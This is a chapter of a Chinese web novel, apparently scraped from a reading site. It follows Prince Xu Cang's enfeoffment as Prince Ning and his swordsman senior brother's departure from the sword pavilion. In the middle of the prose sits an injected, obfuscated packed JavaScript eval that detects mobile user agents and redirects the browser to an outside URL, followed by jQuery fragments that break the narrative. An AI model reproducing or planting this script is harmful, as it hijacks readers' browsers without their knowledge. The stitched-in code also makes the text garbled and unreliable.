2. 002

作品:《清冷剑客训狗手册

    数日后,两则消息同时震惊了江湖和朝堂。


    是日,凡是修习剑道之人的佩剑都无故震动,那感觉像是在畏惧,颤抖,又像是在兴奋,激动。


    经证实,是天下问剑阁阁主的亲传弟子从剑冢之中带出了一把稀世罕见的名剑,这才引动天下名剑震动。


    据传,白衣公子自剑冢中走出之时,剑冢上空剑气震荡不停,剑鸣声响彻云霄,可最终竟无一人看清他手中的宝剑。


    随后,剑阁对外宣布,崔流不日便会下山,走一遭江湖各大门派,此行之后便会正式继任剑阁少阁主。


    这是剑阁千百年流传下来的规矩,当代少阁主需行走于江湖之中,挑战各大门派的天骄。


    一是为了宣扬剑阁威严,二便是促进江湖新鲜力量的崛起。


    第二则消息便是从皇宫中传出来的。


    大雍皇子年满十五便会出宫建府,可胥沧常年不在京中,又无人替他操劳这些事情。


    可堂堂皇子竟没有一处居住的府邸,传出去难免会丢了皇家的脸面,所以内务府临时择了一处罪臣的宅子,当作胥沧的住所。


    虽然这宅子临时修缮过一番,可到底还是有些破败,位置也有些偏僻,门前的两座石狮子甚至都染上了几分青色。


    深红色的大门也有些破旧,上面新涂上的红漆还没有完全干,一切都显得格格不入,仿佛就连它们都在嘲笑这位所谓的七皇子。


    可更讽刺的是,身穿紫色四爪蟒袍的大太监夹着尖细的声音,手中捧着明黄的绢布,眼神轻蔑高傲,白色的眉毛飞扬。


    “奉天承运,皇帝诏曰:


    兹有七皇子胥沧,拜入剑阁,修习数年,今学成归来,着封为宁王。”


    “宁”之一字作为封号有两重意思,一重是此人能够护佑王朝安宁,江山社稷万年不灭,第二重则带着一层警告的意思,希望此人能够守住自己的本分。


    如今这封号用在胥沧身上,不用想都知道是第几重意思。


    他卷起手中的绢布,看了一眼跪在地上的一行人,为首的青衣少年身姿挺拔,不卑不亢,面对这突如其来的皇恩浩荡,竟也没有一丝异样。


    这倒是让他多看了一眼,可也就只是仅此而已,“宁王殿下,接旨吧。”


    胥沧虽是有些惊讶,可到底也没觉得有些什么,他可不会天真到以为他那位父皇如今要和他演一出父子情深的话本了。


    胥沧站起身,接过对方手中的圣旨,而后便直接转身离去,那样子倒是有几分迫不及待,与方才沉稳的样子大相径庭。


    那紫袍太监望着他远去的身影,一时之间竟有些茫然,众人一时之间也不敢说话。


    一个个皆是胆战心惊的样子,生怕自己被这太监拿来开刀。


    紫袍太监当然不会这么做,这宁王府说的好听是一座王府,可实际上里面的下人不知道塞了多少家的探子,那些人都是疯子,他可没必要得罪他们。


    只见他露出了然的笑容,只当是胥沧欢喜过了头,这才忘记了说些客套的话。


    自己何必同这种人一般见识,那不是自降身价吗?


    公公甩了甩手中的浮尘,眉飞色舞,看起来颇为愉悦,“回宫。”


    府中,胥沧连忙走到书房,随手将那道明黄的圣旨扔在地上,可惜一个不注意,竟是不小心扔到了香炉里。


    散发着火星的香点燃了绢布,不一会儿,那道神圣不可侵犯的圣旨竟是烧出了一个大窟窿。


    可事情的始作俑者却是没有一丝愧疚的神情,而是满脸急切,“沉云,你继续说,师兄还说了些什么。”


    书房中有一道身影自暗处走了出来,见胥沧满脸急不可耐的样子,他沉声道:“公子从剑冢中取出了红尘。”


    沉云正欲继续说下去,可胥沧却是难掩激动,整个人都跳了起来,兴奋道:“师兄太厉害了,我就知道师兄可以的。”


    活脱脱的一副小孩子的样子,哪里还有方才在府外的半分沉稳。


    胥沧见沉云眼神有些奇怪,面上倒是理所当然,轻咳一声,示意对方继续说下去。


    “公子还说,京中不比剑阁,您要照顾好自己,若是受了委屈,那便告诉他。”


    许是不想在沉云面前表现地太过孩子气,这次的胥沧倒是难得沉稳了几分,只是面上的喜悦与骄傲怎么也藏不住。


    他装作若无其事地咳嗽了几声,“你先在京中停留几日吧,我要去给师兄搜罗些好东西。”


    见他一副跃跃欲试的样子,沉云面色有些迟疑,似是不忍心打破他美好的想法,可思虑片刻后他还是继续开口,“殿下,公子让我留在京中保护您。”


    胥沧楞了片刻,而后惊呼道:“你走了那师兄那边怎么办?我身边有暗卫就足够了,你还是回去师兄身边吧。”


    虽说事情的重点好像不是这个,可沉云毕竟跟在二人身边多年,对二人的性格已经有了充分的了解,若是胥沧没有说出这句话他才会觉得疑惑。


    沉云面露异色,他“善意”地提醒道:“您不是把苏含留在公子身边了吗?”


    胥沧初入剑阁之时便暗中接济孤儿,将他们训练成了暗卫,而苏含是其中天赋最为突出之人,同时也是暗卫的大统领。


    一想到这里,沉云就有些不解,明明公子性子那般清冷,殿下平日里也算得上稳重,可偏偏一到涉及对方的事情上,二人就如同孩童一般,真是幼稚。


    当然,这样的话在心里想想就算了,沉云可是万万不敢说出来的。


    见胥沧还是一副忧心忡忡的样子,沉云在一旁劝解道:“公子身边不缺人伺候,那些下人都是您亲自调教过的,再者,公子修为高深,便是七品大宗师亲临也不见得能伤到他。”


    天下武道共九品,六品可称宗师,有了开宗立派的资格,七品即为大宗师,这般强者可为皇室供奉,八品便可称为仙,传言此等高手轻易之间可翻山倒海,只是这样的高手稀世罕见,轻易不会出手。


    至于八品之上的九品,那便是传说中的境界了,至少当今世间并无一人可以达到。


    短短几句话便透露出了非常大的信息,崔流习武至今不过十余年,便可以比肩七品大宗师了。胥沧面色如常,似乎对此早就知晓,又或是在他心中崔流万事都是这普天之下第一人。


    随后他目光一转,在胥沧身上从上到下打量了一番,双手环抱,戏谑道:“倒是您,这京城可比龙潭虎穴还可怕,您可千万要照顾好自己啊,毕竟公子最放心不下的就是您了。”


    此前说的话都不重要,唯独最后一句说进了胥沧的心坎上,他露出骄傲的神情,雄赳赳气昂昂的样子像极了大公鸡。


    沉云简直没眼再看下去了,他不动声色地将话题转移,拱手道:“还未恭贺殿下封王之喜。”


    胥沧面露不悦,一想到这里他就生气,这圣旨也来的太不是时候了,沉云恰好今日赶到京中,他正有满腔心事想询问对方,可偏偏这个时候传来了一道圣旨,呵,谁稀罕。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484279|185661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    这破东西哪里有师兄的消息重要。


    “说起来我这次封王怕还是借了师兄几分面子。”胥沧语气骄傲,颇有几分理直气壮吃软饭的意味。


    沉云听到倒也没有反驳,而是在一旁附和道:“公子继任剑阁已是板上钉钉,朝廷用一个没有实权的王爷卖剑阁几分面子,是个划算的买卖。再者,昨日剑阁的消息昨日才传到京城,今日封王的圣旨就下来了,天下哪有这么凑巧的事情?”


    “天上浮云如白衣,斯须改变如苍狗。天下王朝更迭亦如是,唯有剑阁屹立不倒,其底蕴之深足以令朝廷敬畏。更何况,我师兄的天赋便是放在剑阁历代少阁主之中都算得上是最顶尖的,有这样的师兄照着,我还怕什么。”


    说到后面,胥沧的语气中都带着一股与有荣焉。


    沉云不想理会这样的胥沧,实在是,太幼稚了。


    但当他想到自己公子的容貌,才情,天赋,修为,嗯,好像七殿下,哦不,宁王殿下变成这样也挺合理的。


    若是他有这样的师兄,也定会时刻放在嘴上。


    远处的西蜀剑阁,此刻被二人惦念着的崔流正在进行下山前最后的准备。


    一身白衣的剑阁阁主陆桓坐在上座,剑眉星目,眸光如利剑般锋利。他坐在高处,清冷绝尘,不想是这俗世之人,更像是九重天上无情无欲的神仙。


    “这柄红尘你暂时还带不出去。”中年男子深沉的清冷的嗓音响起。


    崔流心中早已知晓,此刻倒也没有感到意外,“弟子明白。”


    随后陆桓右手一伸,一柄全身雪白的长剑出现在了崔流面前,长剑洁白无暇,可剑身却不似寻常长剑一般细长,而是有些宽厚,与其说是剑,倒不如说更像是刀。


    “燕山雪花大如席,片片吹落轩辕台。此剑便是燕山雪,是我此前的佩剑,你此行便随身带着吧。”


    “弟子知晓。”


    二人之间的气氛有几分说不上来的怪异,说是师徒,可言语之间又有些冷漠。若是说二人不熟悉吧,他们身上那样清冷绝尘,拒人于千里之外的气质却又一脉相承。


    陆桓沉默片刻,似是思虑许久才堪堪开口:“你此行先去阳洮走一遭吧。”


    后面的话陆桓却是怎么也说不出口,平静的面上难得出现了一丝愧疚。


    崔流没有说话,只是恭敬地点了点头。


    陆桓心中纵有千言万语,可此刻却是半句都无法诉诸于口。


    修剑者当一往无前,以手中之剑斩天下之敌,他也确实是这般做的。


    自年少时拜入剑阁,而今已有四十一年有余,不仅自身是武道第八重的剑仙强者,又教出崔流这般极具天赋的弟子。


    只是哪怕是天上仙人都会有烦恼,更何况是他这样的红尘中人呢?


    他自继任阁主以来,二十九年间皆遵循剑阁祖制,不曾踏出剑阁半步,这恢弘的阁楼成了困住他的枷锁。


    哪怕如此,他也未曾有过一丝悔意,这是他肩上的责任,事关天下苍生,他又岂敢意气行事。


    他的目光扫过下首站的笔直的少年,剑阁的每一位长老都曾说过,他们师徒二人像是一个模子刻出来的。


    可他不想让对方经历他所经历的一切,少年的身影渐行渐远,在即将踏出大门之时,他还是开口将对方叫住了。


    他想问,“你有没有怪过为师?”


    可最终到底还是没能说出口,万般思绪最终化作一句:“此行当一路小心。”